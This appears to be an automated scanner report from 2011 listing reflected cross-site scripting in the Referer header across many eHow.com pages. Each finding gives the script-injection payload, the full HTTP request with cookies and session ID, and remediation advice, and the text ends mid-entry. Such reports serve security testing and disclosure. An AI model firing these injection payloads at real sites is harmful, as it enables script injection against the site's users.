<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Recipes - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88cc7</script><script>alert(1)</script>f36c82459a4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recreational-activities/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=88cc7</script><script>alert(1)</script>f36c82459a4
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70635
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Recreational Activities - How To Information | eH ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6c8f9</script><script>alert(1)</script>5616881ca9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /relationships-and-family/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=6c8f9</script><script>alert(1)</script>5616881ca9
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:25 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70783
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Relationships & Family - How To Information | eHo ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4da53</script><script>alert(1)</script>03f82fa2ae7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=4da53</script><script>alert(1)</script>03f82fa2ae7
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:22 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: UserView=List; expires=Thu, 02-Feb-2012 15:15:22 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 30878
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e62b1</script><script>alert(1)</script>18a9920f7ad was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /share.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=e62b1</script><script>alert(1)</script>18a9920f7ad
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:22 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 25999
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Share, Comment, Show & Tell, Write | eHow.com ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 420a6</script><script>alert(1)</script>dd06843fc54 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /site-map.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=420a6</script><script>alert(1)</script>dd06843fc54
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:49 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 25596
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d64e</script><script>alert(1)</script>164ea1f1fab was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=3d64e</script><script>alert(1)</script>164ea1f1fab
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:48 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22043
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70301</script><script>alert(1)</script>68b2a8e4972 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sports/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=70301</script><script>alert(1)</script>68b2a8e4972
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:27 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71331
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Sports - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb02e</script><script>alert(1)</script>83c4d78cc01 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /terms_use.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=bb02e</script><script>alert(1)</script>83c4d78cc01
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:05 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73171
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Terms of Use | eHow.com</title> <meta charset= ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db9ff</script><script>alert(1)</script>5579f6c3bbf was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_227_take-pictures.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=db9ff</script><script>alert(1)</script>5579f6c3bbf
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d67b</script><script>alert(1)</script>a7c5286818 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_2488_lose-weight.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=7d67b</script><script>alert(1)</script>a7c5286818
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:56 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=2488; expires=Thu, 02-Feb-2012 15:16:56 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 43110
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39b85</script><script>alert(1)</script>997e8d8e83 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_253_lose-weight-now.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=39b85</script><script>alert(1)</script>997e8d8e83
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5651</script><script>alert(1)</script>f5e0a2d1715 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_3493_lose-weight-dieting.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=d5651</script><script>alert(1)</script>f5e0a2d1715
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:56 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=3493; expires=Thu, 02-Feb-2012 15:16:56 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45321
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4311c</script><script>alert(1)</script>71d0e12f2ce was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_363_winter-sports.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=4311c</script><script>alert(1)</script>71d0e12f2ce
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:47 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=363; expires=Thu, 02-Feb-2012 15:14:47 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 49491
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Hit the Slopes for Winter Fitness - Downhill sk ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 90e55</script><script>alert(1)</script>2feace9df29 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_3818_flu-guide.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=90e55</script><script>alert(1)</script>2feace9df29
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55fca</script><script>alert(1)</script>fc7810aa163 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_3990_home-security-systems-guide.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=55fca</script><script>alert(1)</script>fc7810aa163
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:41 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=3990; expires=Thu, 02-Feb-2012 15:16:41 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 44535
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Home Security Systems Guide | eHow.com </title ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a5c9</script><script>alert(1)</script>35bc6437695 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_401_home-alarms.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=7a5c9</script><script>alert(1)</script>35bc6437695
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:51 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=401; expires=Thu, 02-Feb-2012 15:16:51 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 51358
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Home Alarms - Home Alarm Systems | eHow.com </ ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50b94</script><script>alert(1)</script>5e5d8da7a42 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_4028_preparing-flu-season.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=50b94</script><script>alert(1)</script>5e5d8da7a42
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f21b</script><script>alert(1)</script>3693e48b6e0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
